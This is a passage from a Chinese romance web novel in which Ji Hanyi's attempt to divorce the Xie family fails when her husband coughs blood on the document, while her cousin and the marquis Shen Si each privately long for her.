季含漪低着头,对上地上的谢玉恒朝着她看来的眼神,那眼神满是失望怨怪,对她的失望,对她不顺从的失望。
可他脸上却做出一副好似深情又难过的神色。
真是让人看得作呕啊。
季含漪移开目光起身,走到外祖母身边,朝着谢老太太认认真真又福了礼,轻声道:“老太太,您刚才瞧见的,大爷早已经做了选择,您更知晓这门亲其实从一开始就是错的。”
“我今日也一定要离开谢家的。”
谢老太太叹息着看着季含漪神情,这时候也知道是彻底挽救不了了。
她只长叹,也是不想让事情真闹大了。
要是顾家为了和离真将谢家背信弃义的事情说出去,谢玉恒的官路怕是不顺畅。
她让人去拿笔墨来,将那早写好的和离书放在小案上,让
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人去强拉着谢玉恒的手,让他在和离书上落款和按手印。
谢玉恒浑身都在发抖,眼眶红尽。
他看着静静站在一边的人,她站在窗前,站在光线里,拢着手,一身端端正正,如画眉眼里原来也能这般冷清,也能再也不看他……
他咬着牙,挽留她的话说了这么多,他也从来不知道季含漪的心竟然能这么无情。
眼里渐渐模糊,那日雪里,他好似从来都没有对她好好说一声对不起。
谢玉恒不愿落下自己的名字,只是他身上伤重,力气抵不过按着他的人,被人捏着他的手往印泥上按去。
那纸上不过才刚按了红手印,一滴热泪啪嗒一声落在上头,晕染了字迹,接着谢玉恒口中忽然呕了口鲜血,尽数洒在了和离书上。
压着谢玉恒的婆子被这一幕都吓住了,纷纷松开了手。
谢玉恒此刻浑身已经失去了所有力气,身上婆子的力气一松开,整个身子便软软的倒在了地上。
他身上的伤口因为刚才的挣扎,伤口裂开,血水染红了衣裳,蓝衣上亦染满了红色的血迹,唇边残着鲜红的血,看起来痛苦的蜷缩成了一团。
在这间溢满暖香的屋子里,渗透进一股浓浓的血腥味。
林氏尖叫着扑到谢玉恒的身边,抱着地上快不省人事的人哭喊起来,又叫人先快将谢玉恒扶去床榻上去,又快去叫郎中。
谢老太太也被谢玉恒的反应吓了一跳,她全然没想到谢玉恒居然会呕血,这会儿也已慌乱的捂住了胸口,眼眶发热,长长的说了一句作孽。
谢玉恒也再没有力气挣扎,直到被托着出去,他通红的眼睛也死死看在季含漪身上。
季含漪没看谢玉恒,即便满屋慌乱,即便闻到了血腥味,她也没看他。
她只是低头看着桌案上的已经被血迹染红的和离书。
她的三年,她曾无数个深夜患得患失的辗转反侧,如今奋力一切,为什么依旧得到这个狼藉仓皇的结局。
到底还要她怎么做呢,
她这三年,又有什么对不住谢玉恒的。
第80章 最喜欢下药的人是谁,你不是最清楚么?
顾老太太也没想到是这么个情况,现在谢玉恒成了这个样子,屋子里乱成了一片,显然是不再适合再谈和离的事情了。
刘氏也被现在这个场面吓到,完全没料到谢玉恒居然还呕血了。
她不禁过来挽着季含漪的手小声问:“这谢大爷是不是有什么隐疾,从前也没瞧出来对你这么情深意重的,这会儿又是什么个情况。”
季含漪摇头,她不知道,更不愿多想。
她如今成全他与李明柔,他却这般惺惺作态,她甚至在心里想,谢玉恒应该是在报复她的。
报复她让她永远逃脱不了他这个噩梦。
现在这个情形,季含漪明白,今日是不能再提起了。
她走到外祖母的身边低声道:“今日先回去吧,今日是谈不成了。"
那血正好落在那能证明身份的手印上,那张和离书即便送去官府也不会认。
现在林氏已经走了,谢老太太也跟着一起去了,郎中正被婆子请着进来,甚至没有留一个人来招呼他们,显然谢玉恒那头的事情情急,根本顾及不到这里来了。
顾老太太问季含漪:“现在和离书定然是拿不到了,你打算怎么办?”
季含漪看向顾老太太,声音很轻,但语气坚决:“谢家先背信弃义,即便现在我拿不到和离书,但我与谢玉恒之间也再没有可能,不适合再留在谢家了。”
顾老太太听出季含漪话里的意思,良久之后也点头:“你这么说也是,和离是定然要和离的,留在这儿也是受气。”
“况且现在谢家一团乱,我瞧那谢大夫人不是个好相与的,你留下多半也要为难你,便回顾家去,先去收拾东西。”
季含漪嗯了一声,回头看了眼帘子内呼天抢地的动静还有林氏的嚎哭声,已经能感觉到谢玉恒应该是有些严重的。
这会儿进去说要离开也不是时候,季含漪将放着谢老太太给她镯子的盒子交给老太太身边的大婆子,又低低说了一声告辞。
才出了外间,季含漪就见着李眀柔脸色煞白的匆匆从外头冲了进来。
她如今已经不是从前那身姑娘装扮了,头发挽了起来,满头名贵的朱翠,身上还穿着海棠红的裙裳,脖子上带着赤金项圈,唇上涂着红红的口脂,浑身透出股张扬的富贵来。
她如今得偿所愿,恨不得满府的人都知晓她的身份,更想要在大院里压着旁人一头,要让别人知晓,她即便是妾,也是极有体面的妾。
只是她这时候眼眶发红,见着季含漪正从外间出来,又听见屋内林氏的哭声,忽的一脸怨恨的往季含漪身上扑过去,手指往季含漪的发上抓来,声音怨恨:“你又对谢哥哥说了什么?”
“谢哥哥如今被你害成这样,你又有什么脸面在留在谢哥哥身边。”
季含漪忙往旁边挪了步子,刘氏眼疾手快的拦在季含漪的面前,看李眀柔这身装扮,又听她一口一声谢哥哥,心里头已经猜的**不离十了。
这便是真正将一切搅的一团糟的谢府表姑娘了。
刘氏不惯着人,将人往旁推过去:“这又是做什么,一冲上来就叫喊,伤了人算谁的。”
李眀柔认不得刘氏,这会儿也无暇顾及着她,眼睛始终往季含漪的身上死死看过去,眼里隐隐带了泪,声音里含着哭腔:“你昨夜走了,你还回来做什么?”
“谢哥哥不喜欢你,你再别回来了。”
季含漪抿着唇,看着李眀柔此刻眼里的神色,眼眸深处隐隐有疯魔的执念。
她不欲与李眀柔这时候有什么纠缠,叫二舅母带着外祖母先走,她留在后面。
季含漪看向李眀柔,声音还算平静:“我是要走,但不是你叫我走我便要走。"
“再有我今日是来和离的,你现在要紧的不是我,而是里头。”
季含漪说完,从李眀柔的面前转身就要离开,却又被李眀柔紧紧拽着袖子。
她的声音压的很轻,却又能听出来咬牙切齿:“你是用了什么法子让谢哥哥忽然变成这样的?”
“谢哥哥从前不是这样的……一定是你对谢哥哥下了什么药是不是?”
季含漪看着李眀柔讽刺的笑了笑:“最喜欢下药的人是谁,你不是最清楚的么?”
“如今谢府还有谁不知晓的?”
“这不是你求仁得仁的结果么?”
李眀柔的脸色一白,身形忍不住往后踉跄一步。
季含漪从李眀柔的手上抽出袖子,再静静看着了李眀柔一眼,直接往院门口走出去。
季含漪的东西早就安排了容春去了院子,叫婆子往后门送去,再让晏表哥去后门等着。
只是她要拿走自己的东西走却没这么容易,后门口处,容春说大夫人身边的婆子守在院门口不让她们拿,说怕将谢府的东西也被拿走了。
这话极侮辱人,容春已经被气得哭了。
季含漪其实心里已经料到林氏不会让她轻易带走东西,不过好在她昨夜将自己的银钱都已经带走。
谢大夫人掌管公中,又是在谢府,只要她现在不想让自己拿走东西,她也知晓这会儿自己也定然拿不走。
她宽慰了容春两句,拿不走便算了,等到下回来的时候,总会拿走的,那里还有几幅父亲留给她的画卷,她也不可能留在这里。
只是这会儿不是时候。
容春抹了泪,却仍旧是伤心,又看向季含漪:“那婆子还传了大夫人的话,说少夫人今日要走了,就再也不可能让少夫人回来了。”
季含漪笑了下,倒什么想说的了。
她比谁都期望如此。
临走前,季含漪对林嬷嬷低声嘱咐了几句,主要是让林嬷嬷先照些看她的东西,也顺便将她的雪球也照顾一下,再有若是院子里有什么变故的,便捎信说一声。
说着季含漪往林嬷嬷手中递了一个荷包。
季含漪对林嬷嬷是信任的,跟了她这么久,这三年,两人也有些主仆情谊。
林嬷嬷愣愣的接过了季含漪递过来的荷包,看着季含漪转身离去的背影,忽然追过来问:“少夫人还回来么?”
季含漪回头,朝着林嬷嬷笑了下:“嬷嬷,往后再说吧。”
林嬷嬷的眼神便蓦的暗淡下来,她知道,少夫**抵永远不会回来了。
她却又忍不住上前告状,昨夜那表姑娘才来院子里照顾大爷,便颐指气使的将自己当作了院子里的主子。
更叫院子里的下人觉得生气的是,
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那李眀柔处处看主屋的布置不顺眼,不是说这件东西不好要换了,就是说那样东西寒酸,还说要将少夫人平日里最喜欢用的那套粉底浮花的茶具给扔了。
这不就是拐着弯的说少夫人之前用的东西不好么。
她也听说了李眀柔如今是大爷的人了,可再是大爷的人,那也只是个妾室,顶多在院子里分间小屋子,又有什么资格对主屋的布置指手画脚。
也就是昨夜大爷昏睡了过去,虽然大爷平日里的确纵容李眀柔,但这般纵容的话,她们也是不信的。
简直快倒反天罡了。
妾就是妾,一辈子就是个妾。
季含漪听着这些话,倒是心里没什么波澜。
她也知晓一些,她未嫁来谢家之前,李眀柔就常去谢玉恒的院子,他屋子里的布置,许多都是李眀柔参与进来的。
总之那间主屋她再也不会进去了,至于怎么布置,随她的喜好就是,都到了如今,再去在意这个,就显得有些多余了。
季含漪面上云淡风轻,林嬷嬷告状的声音也越来越小,到最后哑然无声。
因为连她自己最后都觉得这些话多余了。
但她们院子里的下人不过是都希望从前那个宽和温的少夫人回来罢了。
但大爷这三年如何对少夫人的,她们心里也明白,劝说少夫人像是也对不住少夫人这些年对她们的好。
千般万般的话交织到最后,一句话也说不出来了。
廊下的凉风吹来,吹起季含漪鬓边发丝,一双红色的玛瑙耳坠从雪帽里出来,季含漪微微低头,轻轻对林嬷嬷道:“嬷嬷,保重。”
林嬷嬷眼眶红了又红,最后也沙哑的落下一句:“少夫人,您也保重。”
季含漪点点头,这才又转身。
顾晏站在季含漪的身边,在季含漪要上马车的时候,小心翼翼的朝着她伸出了手,眼神飘忽的往季含漪脸颊上看去:“我扶着表妹上马车吧。”
他也没有敢多看,只往季含漪那雪帽下露出来的耳坠一角瞧,只觉得在那毛茸茸雪帽下的那一抹景色,当真好看又可爱极了。
刘氏掀开帘子歪头瞧着这一幕,又若有所思的笑了下放下帘子看向顾老太太道:“晏哥儿这孩子小时候总爱欺负含漪,怎的长大了倒会照顾人了。”
顾老太太没说话,却是笑了下。
这头季含漪看着顾晏伸过来的手,怔了一下,还是笑道:“谢谢表哥。”
娇小柔嫩的手掌落在顾晏的掌心上,顾晏的手都抖了抖,手心却不敢捏住,扶着季含漪上了马车。
尽管那温度也不过才稍稍一瞬,他看着那掀开帘子弯身进了马车内的人,这才后知后觉的发现身上起了层热汗,就连耳朵也开始发烫。
帘子内祖母的声音传进来:“晏哥儿,回吧。”
顾晏这才回过神来,赶紧应下,又去前头牵马。
回了顾府,顾大夫人张氏听说今日没和离成,又见着季含漪跟随着一路回来,忍不住说了句:“哪家嫁出去的姑娘三天两头的跑回来?”
“如今还没和离,这要传出去像什么话?万一也连累了顾家姑娘的名声怎么办?”
“顾家可还有两个快嫁人的姑娘!”
第81章 难处
张氏的话说完,场面一静。
顾老太太淡淡看了张氏一眼:“谢家的做事**道,这事含漪占着理。”
“你也别说这些,是我叫含漪回来的,你这会儿与其说这个,还不如赶紧去给含漪的秋容院拨两个丫头去。”
张氏的脸上难看,呛了老太太一句:“哪儿有多余的丫头?就是现在另找牙人买,也不能现买不是?”
顾老太太动了怒:“昨儿含漪说要回来,你就该安排着了,拖到这时候,还不是你办事不利索。”
季含漪站在一边,也知晓自己添了麻烦,忙往前一步,轻声细语道:“外祖母勿操心,我身边有容春也已够了,我白日里去陪着母亲,也用不着什么丫头伺候。”
又含了一丝笑:"再有我等拿到和离书,便会带着母亲往父亲的老家去,那儿的宅子也已安排好了,这会儿再去添置丫头,的确不合适。"
说完季含漪朝着张氏福了个礼:“这些日要劳烦舅母了,舅母操心一家子也不可能样样齐全,含漪明白的。”
张氏看季含漪这般说,面上神色也依旧没有好一些,反是问:“你那头当真安排好了?”
季含漪点头:舅母放心,已经都安排妥当了。"
顾晏在旁边听了这话,脸色稍白了白,垂在身侧的手不由捏紧了些。
但张氏脸色这会儿却稍好了些,又说:“既然住不了多久,倒也的确没有买丫头的必要了,从我院子里拨两个丫头去就是。”
顾老太太看了张氏一眼,脸上不霁,却也没有表现出来,只是让季含漪扶着她回宁安堂。
季含漪看向老太太:“我想先去看看母亲。”
顾老太太点头:“你去瞧你母亲也好,和离的事情,等彻底和离了再与她说吧。”
“她这两日的病倒是好了些。”
季含漪便往母亲的惠兰院去,只是才走到半路上,就被顾晏拦住了路。
季含漪见着顾晏站在跟前,如今顾晏早不是从前小时候那个胖小子了,身量比季含漪高出了不少,身形也清峭,脸庞也愈发俊美,站在跟前也有些压迫感。
顾晏只比季含漪大了半岁多,小时候自己还与他差不多的身量,现在却差了许多了,连与他说话都是要微微仰着头的。
季含漪瞧着顾晏来,便含了笑:“晏表哥。”
顾晏心里头如千万只蚂蚁在爬,他看着季含漪站在太湖石边,旁边一棵小小的梅花枝从她身后探出来,交映着她丁香色的衣裳,还有她眉眼弯弯柔美娇小,叫顾晏心头一窒,又心里紧张的狂跳。
他往前小小的迈开一小步,依稀觉得自己此刻的耳根处一定是红透的,可他现在已经顾不得腾升起来的窘迫,他低头看着那朝思暮想的山眉水眼,心里噗噗直跳,眼里满是愧疚:“我母亲那些话,漪表妹千万别多想。”
“我母亲不在意漪表妹在顾家留多久的。”
说着他将一直放在身后的手拿出来,掌心处放着一对粉色的镶珠碧玺耳坠,他送到季含漪面前,稍有些紧张的道:“我代母亲与表妹赔罪,表妹收下吧。”
其实季含漪心里深处是没有在意过大舅母说的那些话的。
因为她明白顾家的艰难,也明白大舅母要管顾这一大家子人的难处。
如今顾家唯一只有晏表哥有官身,但俸禄也不多,多养一个人,便多一份花用,自己本来也不该留在这里的。
季含漪自然也不能收这个东西,便含笑摇头道:“表哥,我没有多想。”
“还在谢家的时候,我就已经在安排了,还望表哥与大舅母说一说,我并不打算长留在京城的,等和离的事情完了,我便与母亲一起离开。”
“我父亲来自金陵下面的蔚县,我曾听父亲说南方的天气暖和,四季花开,我也想带我母亲住在那里。”
又看着顾晏手上的那对耳坠,轻轻推回去,声音认真又轻柔:“表哥不必赔罪,我来顾家本就是叨扰,我母亲这三年也劳着大舅母照顾,我本就是心有愧疚的,更不敢收表哥送来的东西。”
顾晏听了这番话,悬着的手却一抖。
他低头看着季含漪认真说话的模样,目光柔软,又带着一分坚定,他喉咙中所有的声音都哑住了。
凉凉的寒风带来季含漪身上如兰的香气,与他百转千回的梦中香味一样,他不自禁的微微压了压后背,又在对上季含漪视线时,身后生了层薄汗。
他唯一只听见了她说要走。
他要送给她的耳坠她也没要。
这对耳坠是他跑遍全城,为她选的最衬她的一对,她戴上一定会好看的。
只是她不愿要。
季含漪等了会儿也没见顾晏再口说话,如今外头还是冷的,季含漪还念着去看望母亲,便又道:“我听说表哥下午还要去国子监,这会儿快中午了,表哥也先去歇歇吧。”
清清浅浅的声音落在身前,顾晏垂在身侧的另外一只手捏的紧了又紧,却又点头,往旁边让开了一步。
季含漪从顾晏面前走过,顾晏的视线低低落到季含漪那晃动的耳坠上,还有她身上那素锦斗篷衬出的玉软花娇,馨软的香气扑鼻,他口中发干,捏紧的掌心内生出一股细细的疼。
面前娉婷匀称的人渐渐走远,在那碧绿的翠竹前,在她脚下莲步下快至尽头的青石路上,顾晏好似才从梦境只醒来,往前急急的追了两步,又急促的问:“漪表妹真的要走么?”
季含漪顿了下步子又回头,见着顾晏站在稍远的地方,她已经有些看不清他神情了,她稍诧异顾晏还会这般问,又点点头:“真的。”
顾晏怔了怔,捏紧在掌心的碧玺耳坠嵌入他骨血里,尖利的银针寸寸刺入血肉,他脸上却依旧是如往常那般温文尔雅又有些生涩的笑意:“好。”
季含漪嗯了一声,又叫晏表哥不用目送,这才转了身。
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等到那一抹素影消失在眼帘,顾晏才将被耳坠上的银针扎破的手掌拿到眼前来。
细小的血珠从掌心冒出来,她另一只手的拇指用力压在那血珠上,伤口处传来更清晰的痛意。
他面无表情的垂着眼帘,历来温润细长的眼眸中闪烁着点点阴翳的暗沉。
身后传来丫头从远处叫他的声音,顾晏整了整神色,将手中的耳坠包裹在掌心又回头,就见着母亲身边的丫头气喘吁吁的跑到他面前道:“二爷,大夫人急着找您呢。”
顾晏淡淡拂了拂身上青色的袍子,面容与在季含漪面前的面容稍不一样,更多带了股从容,也未回丫头的话,只是点点头回身往母亲那儿走。
他是今年上半年从国子监考试合格绶官的,加上一些流程,不过也才在任上三两月,但母亲就已经开始安排着给他物色亲事了。
这些事情顾晏向来厌烦,但面容上却半分让人看不出来,就连张氏都看不出来自己儿子每回应付她的不耐烦。
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今日是初七人胜节,皇宫内白日举行祭祀,夜里皇上在万辉阁中宴请群臣。
初七的宴会每年都有,在京五品以上都能参加,又逢着地方朝觐考核,考核称职的官员也往往可以留到参加这场宴会后再走,这场宴会今年也依旧热闹异常。
沈肆不喜饮酒,也没有旁人会来他这儿敬酒,即便有人来,也多说公事,在沈肆面前,寻常人也是不敢在他面前谈论什么私事的。
但沈肆不喜饮酒,皇上却是喜欢劝他多饮几杯。
皇上喜欢说沈肆平日里太过于严肃,不过才二十四的年纪,瞧着却如老迂腐那般一丝不苟,冷漠严正,叫沈肆平日里也稍放肆一些,别万事都端着架子,叫别人瞧见了不敢接近。
就算是姑娘们看见了也怕。
今日沈肆亦是被劝了好几盏,宴会散去还被皇上留在宫中,又叫了酒来。
沈肆实在是饮不下,却奈何拒绝不了皇上的劝酒,身形已经隐隐不稳了。
皇后过来见着这幕担心,也劝着少喝些。
皇上淡淡笑了笑,指着站在旁边的一名女子。
皇后往那女子身上看去,微微的一怔。
只见那女子内着白色交领中衣,外穿粉色暗花交领镶边短袄,袄身上平铺蝶莲纹,领子上绣牡丹,下搭这黄色百褶裙,裙上是金弦绣的石榴花纹,这一身打扮,还有那身上点翠珠玉宝石,明显比一般贵女还要打扮的贵重。
这明显不是宫中的人。
又见她一直悄无声息的站在帘子一边,不仔细看,根本瞧见不了。
那女子见着皇后看她,忙也恭恭敬敬的福礼。
这一低头,皇后看着那白净的脸颊,隐隐约约的恍然想起了这女子到底是谁。
这是太后娘娘妹妹荣显县主的亲外孙女,也是皇上的表侄女,因她祖母是县主,她出生时便被封了明昌郡君,应是叫孙宝琼。
第82章 唯对她有占有与欲望
荣显县主嫁给在齐州的安陆侯,安陆侯主管齐州练兵事宜,荣显县主也跟随夫君,几乎没怎么回过京城了。
皇后心里绕了几个弯,又看今日皇上这般好兴致将自己弟弟留下来,那孙宝琼又站在帘子后边,也不过是三两个心思便想明白了。
尽管皇上信任沈家,信任她父亲,器重她弟弟,但是总是也想要多安心一分,在自己弟弟身侧放入太后那头的人,或许这样皇上更能放心。
但皇后唯有这一个弟弟,即便她日日为弟弟的亲事操心,但又怎么不想为弟弟操心一门称心如意的婚事,而不是这般有利益裹挟的姻缘。
那般两人即便成了婚,日子过着终究不是想要的。
皇后明白皇上这么做的心思,她默默往自己弟弟那头看去,只见着沈肆低低撑着额头,撑在案前沉默。
只是她要回神的时候,又见着自己弟弟目光在撑在额头的手掌下,微微往她身上看来一眼,那眼眸里沉色一如既往的沉稳,就连醉酒的微醺都已看不大见。
殿内光线明显昏暗,挡住了沈肆的眼睛里许多情绪,皇后也在那一眼里看明白了自己弟弟的意思。
让她不用管这里的事情。
她便很适时的告退出去,又如常叮嘱皇上为着身子少饮一些。
皇上的兴致显然依旧,叫皇后先去歇息后又叫旁边的宫人倒酒。
沈肆被劝着又饮了一杯,此时他撑在案上,摇摇欲坠。
皇上推了推而沈肆,见沈肆连反应都迟钝下来,便笑了笑,招手让孙宝琼过来。
待孙宝琼来了,皇上起身拍了拍坐在椅上沈肆的肩膀,也有些醉意道:“阿肆,你酒量倒比不上朕了。”
沈肆忙撑着要站起来回话,却又被皇上的手按着肩膀按了下去。
皇上笑道:“既醉了今夜就留在这里睡下就是。”
说完又拍了拍沈肆的肩头:“我让人给你端了醒酒茶,饮了便歇息吧。”
皇上虽已年近五十,但身形依旧修长,不见多少老态,太监要过来扶着,他也挥挥手让人站去一边,独自先出了屋子。
沈肆依旧低头撑头在案上,直到身边一抹香气飘过来,接着是一道女子轻柔的声音:“沈大人先饮茶吧。”
一双白净柔嫩的手送到了跟前,宽袖微微坠落,露出白净的手腕,手腕上一只碧绿玉镯将那只手衬的愈加的白皙。
沈肆的目光看了那手腕一眼,视线往上,再就是一张精致温婉的脸庞。
含着几分羞涩,身子弯在他面前,好似柔顺又听话好脾气,一只手端着玉碗,另外一只手却捏着玉勺,送了一勺醒酒茶往沈肆的唇边送去:“沈大人醉了,饮一口吧。”
沈肆垂了眼帘,视线又微微一斜,看着窗外站着的人影,又长长吐出一口酒气,叫她将碗放下,退去一边。
孙宝琼一愣,她容貌在齐州是一等一的,即便在京城,也是生的极好看的。
太后娘娘说,她眉眼里柔中带媚,与一人的眼神极像,侯爷会喜欢她的。
她虽不知道那一人是谁,但太后娘娘说侯爷会喜欢她。
她没见过沈侯爷,今日是第一眼,虽知晓母亲说沈侯爷是京城内炙手可热的夫婿,只要嫁给了他,后半生依旧荣华,但她原本心里依旧有忐忑的。
她在想,万一面前人贪好美色,万一他举止粗鲁,又万一他面容寻常还品性卑劣,即便他身居高位,即便他炙手可热,她心里也有一丝不甘愿的。
可她没想到,沈侯爷原来是这般男子。
不是芝兰玉树,也不是温润如玉。
但他身上有一股睿智的冷峭与沉稳,如寒玉冷石,如雪中青松与白鹤,让人见他一眼,便觉得他极贵,不自觉让人在他面前自惭形愧。
即便她自己出身亦好,但在这位沈侯爷面前,那股自卑便会从骨子里透出来,不自觉在他面前小心翼翼。
或许是他即便醉酒也一丝不苟与雅致的姿态,面容看起来依旧高华清明,没有半分看起来丑陋的动作,只那眼眸处有些许醉意,还有那身上浓浓的酒气昭示他的确是醉了。
他甚至刚才连自己靠近时,连她一片袖角都没碰。
那
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身上的那股疏离与高贵,或许是最让人痴迷的**,让人下意识去臣服,去讨好,去想要成为他心间的唯一。
至少在此刻孙宝琼的心里,她便有这样的感觉。
她更想要得到他,成为他的妻。
太后娘娘与皇上都看重这门亲,若是她能办到,也是众人喜闻乐见的吧。
孙宝琼心下微微有一丝紧张,她亦是第一回要去讨好接近一个男子,在她自小的教养里,是不能做出任何孟浪的举动的。
她的手微有些轻颤,一只手轻轻握在了沈肆撑在额头上的那只修长的手上:“沈大人不便,我喂沈大人吧。”
沈肆挑眉,静静的抬眼看向面前女子,女子贞静又容貌出众,眼神刻意的靠近又显得生涩,与当初的季含漪想要与她说话时的眼神依稀相似。
但季含漪是很容易放弃的,怯生生的尝试一次,就不会再尝试了。
她也从来不会主动往他身边靠近过来,即便靠近,她也不会站在离他这么近的地方,更不会主动碰他的手。
她对他唯一的亲近,还是她六七岁时主动扯自己的袖口。
在她八岁之后,她连碰他袖口也不曾了。
沈肆看着那只落在自己手背上的手,一样的柔软娇小,但心里却完全没有在对季含漪时的那股占有与沸腾的欲望。
沈肆身体后靠在了椅子上,仰着头,闭着眼睛,他静**着,体内乱窜的酒意让他头昏脑胀,身上还有股消解不了的热意。
孙宝琼看着沈肆收回的手愣了愣,被男人直截了当的拒绝,他甚至连一句话都懒得与她开口,便拒绝了她。
这般无声如细雨的耻辱,是孙宝琼从未经历的。
她脸庞涨红,眼眶发热,又因为羞耻红透了眼。
她再看向沈肆因仰头而滚动的喉结,但他身上的衣裳却一丝未乱,她想要靠近过去,到底还存了最后一丝理智与贵女的尊严,只是红了眼眶,悄无声音的退了出去。
只是在她快退下去的那一刹那,她听见那那凉薄的薄唇里喃喃道出了一声沙哑的声音。
第83章 想她在身边,想每日都见她
那道声音模糊不清,根本听不清在说什么。
但孙宝琼却鬼使神差的顿住了步子。
殿内昏昏,特意变暗的光线,落在那道红衣身形上,甚至带着一股性感又冷酷的诱人吸引。
孙宝琼从未见过这般男子,齐州地处富庶之地,男子才情风流与样貌并不比京城男子差,但却无一人又沈肆这般明明看着很冷,又叫人不顾一切飞蛾扑火的想要靠近他。
她轻轻缓了步子,她想要听他在说什么,这样高华又生人勿近的人,在他醉酒时会说什么。
只是孙宝林靠近,只闻见沉香与酒味交织的味道,却再也没有听见一道声音了。
她又失神看着面前的脸庞,抬手想要触碰,又见着那双本紧闭的冷眸睁开,黑沉沉的眼里半分神色也没有,却无端吓得孙宝琼往后一退,再也不敢看一眼,匆匆的推了殿门跑出去。
冷风往她身上吹来,她说不清此刻是什么心情,唯一只有心悸。
那一眼就是凉薄的让她心悸,觉得他没有七情六欲,没有喜怒哀乐。
就连靠近他,也是胆战心惊的。
她清晰的意识到,或许即便穷尽一生恐怕都靠近不了他,他万般危险,叫她打起了退堂鼓。
孙宝琼跑了出去,殿外冷风吹进来,文安忙进来关上殿门,又走到沈肆身边小声问:“侯爷回么?”
沈肆揉了揉眉心,浑身有一股抒发不出的燥热。
他摇头。
皇上这么安排,他总要做出两分样子来。
手掌撑着案沿站起来,步履稍乱,往内寝的屋内去。
文安知晓,侯爷其实是真的醉了,只是看起来不大看得出来。
他跟到里间,就见着侯爷坐在床沿上,修长的手指扯了扯衣襟,低头撑在膝盖上,吐出了一口酒气,又问:“信呢。”
文安乍一听到信还没反应过来,又见着侯爷抬起眼皮淡淡看着他,他这才想起来,探子日日都盯着谢家那头的事儿呢,赶紧将怀里今日探子送来信双手呈到了侯爷手上。
这些日侯爷唯一上心的事情,怕是只有这个了,就连醉成了这般模样,也还惦记着那头的消息。
酒意袭来,信纸上的字迹稍稍有些重影,沈肆揉了揉眉心,眯了半晌才在灯下又看。
在看到季含漪上午离开谢府时,闷着的那口酒气悄然散开,又在看到最后那句和离没和离成的时候,眉眼又渐渐眯起。
指间的信纸在手掌间被揉的发皱,沈肆头脑眩晕,已经许久未曾有过这般难受的时候。
在这一刻,闭着的眼睛里,全都是季含漪的模样。
他真的在这一刻异常的贪念她与想念她。
要是此时她能在他身边,即便她静**在他身侧,他也觉得心里头被她填满,而不是在这寂冷的长夜里,他心生寂寞与空旷。
生出一股从前从未有过的孤独情绪。
这股情绪在知晓季含漪要与谢家和离的那一刻起,越演愈烈,每日都想要见她。
想她此刻又在做什么。
可他却没有一个能见她的理由。
沈肆头疼的撑着额头,额头间隐隐起了一层汗,身上的酒气浓重,却依旧是平日里那般冷清沉稳的模样。
文安小心的过去沈肆的面前问:“侯爷歇下么?”
沈肆依旧闭着眼,沉思里思绪纷杂,但都唯有一个人。
他问:“什么时辰了。”
文安便小声的回话:“过亥时了。”
又道:“热水已经备好了。”
沈肆沉了半晌,又摆手让文安退出去。
身上那股压抑的热意依旧没有消退半点,或许是酒意愈加浓重,沈肆低头看着掌心上的那只耳坠,高大的身体微躬。
他想起那夜品尝过的柔软,在自己身下动人又瑰丽的容色,此刻她的指尖又仿佛紧拽在自己衣襟上,沈肆闭着眼睛,又长长发出一声低低闷哼声。
带给他着长夜里唯一一丝欢愉。
---
第二日,皇后在中午时唤了沈肆进宫。
沈肆进宫来后,便问起昨夜的事情。
昨夜的事情皇上很上心,还特意问了沈肆昨夜是不是留夜在宫中。
皇上特意关心问了这个,显然是为了昨夜孙宝琼从殿中跑出去的事问的。
是猜忌沈肆根本没醉,也不想应承皇上牵的这门好事。
所幸沈肆留在宫中,门口的太监也说沈肆醉的厉害,几乎不省人事,那般喜爱洁净的人,连沐浴都不曾,直接便睡下了。
当时她见着皇上听见了这个后,脸上的神情松了,她也跟着松了口气。
于皇上来说,这是沈肆表现忠心的机会,若是沈肆直截了当的拒绝,皇上定然是会不高兴,她这会儿叫沈肆来就是想问问沈肆怎么想。
虽说沈肆的婚事娶谁都行,那孙宝琼在齐州也是一等一的贵女,品行相貌亦没可挑捡的,但沈肆那性子,她做姐姐的怎么不知晓,要能将就,早就将就了。
沈肆此刻早已没了昨夜的半分醉意,满身清华与一丝不苟。
他坐在椅上,手上端着他寻常喝的君山茶,又一脸淡然的低头饮了一口。
皇后见沈肆这般冷静,忍不住问:“昨夜可有女子接近你?”
沈肆依旧淡淡的唔了一声。
皇后就问他:“那你知晓她是谁么。”
沈肆这才抬眼:“知晓。”
皇后一愣,再又听沈肆说今日上午才知晓的,便知道沈肆特意去打听了孙宝琼,就是已经知道了皇上的用意了。
她直截了当的问:“你觉得呢。”
“我叫人去查过,她外祖母其实与太后来往的不算太密,就算她是太后那头的人,嫁来也定然是住在京城,若是能好好
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过日子的话,应该是温柔贞静的。”
沈肆一直等着皇后将话说完,他将手上的茶盏放在一边,低沉道:“我对她无意。”
皇后对这回答半点没有觉得稀奇,她只是问:“那你怎么与皇上说?”
”她是荣显君主唯一的外孙女,尊贵是尊贵的,若是太后和皇上真的有心的话,你想好怎么拒绝了么。“
沈肆淡然不语,又站起来,只说了一句:“再说吧。”
皇后看沈肆要走的背影叫住他:“那你又是什么意思?打算怎么做?”
沈肆却头也没回的就走了出去,叫皇后一愣,又长叹了声。
其实为了昨晚的事情,皇后今早还特意往太后那儿去了一趟,就是为了探探太后的意思和孙宝琼的想法。
太后她明白,历来无欲无求,也不问朝政,这回忽然将孙宝琼接到身边来,八成是皇上的意思。
那孙宝琼倒是个大方得体的,说话也圆滑,昨夜的事情只字不提,什么个态度也不说。
这倒是也寻常,毕竟是终身大事,又是闺中待嫁女子,说错了一个字,都对名声有损。
皇后倒是有些欣赏起孙宝琼的妥帖周密来,又是个笑盈盈一派温柔大方,也善会讨人欢心的主,看着就极能干,是教导得极好的贵女,也是按着将来的当家主母去教养的。
皇后又想起上回顾家女儿的那事,那顾家三姑娘比起孙宝琼到底多了些内敛羞涩,并不够大方,但那日沈肆虽然未去见,但后来问他还再不再见的时候,又说随意。
沈肆就算说一句随意,那都是太阳打西边出来了。
皇后听着那话,又像是对顾家女儿有那般意思。
本来刚才皇后还想问问沈肆对顾家女儿和孙宝琼之间到底更瞩意哪个,偏偏人跟椅子上长了钉子似的,多呆一会儿都不肯。
这头沈肆出了宫,坐在马车上,昨夜宿醉,这儿也并好太多,依旧有些头疼。
身上染了淡淡的疲惫,他揉着眉心,也依旧让文安将昨日未看的信件拿进来。
那信文安早就准备好了,今早侯爷从宫内醒来,便是问信,可是昨夜侯爷留在宫中,信没送进来,还是今天上午他出宫去拿的。
他知道信内的内容是什么,旁人半点不能看,所以都是亲力亲为,就怕万一出个差错泄露了信。
一共两封信,沈肆又捏了你眉心才靠在身后展开。
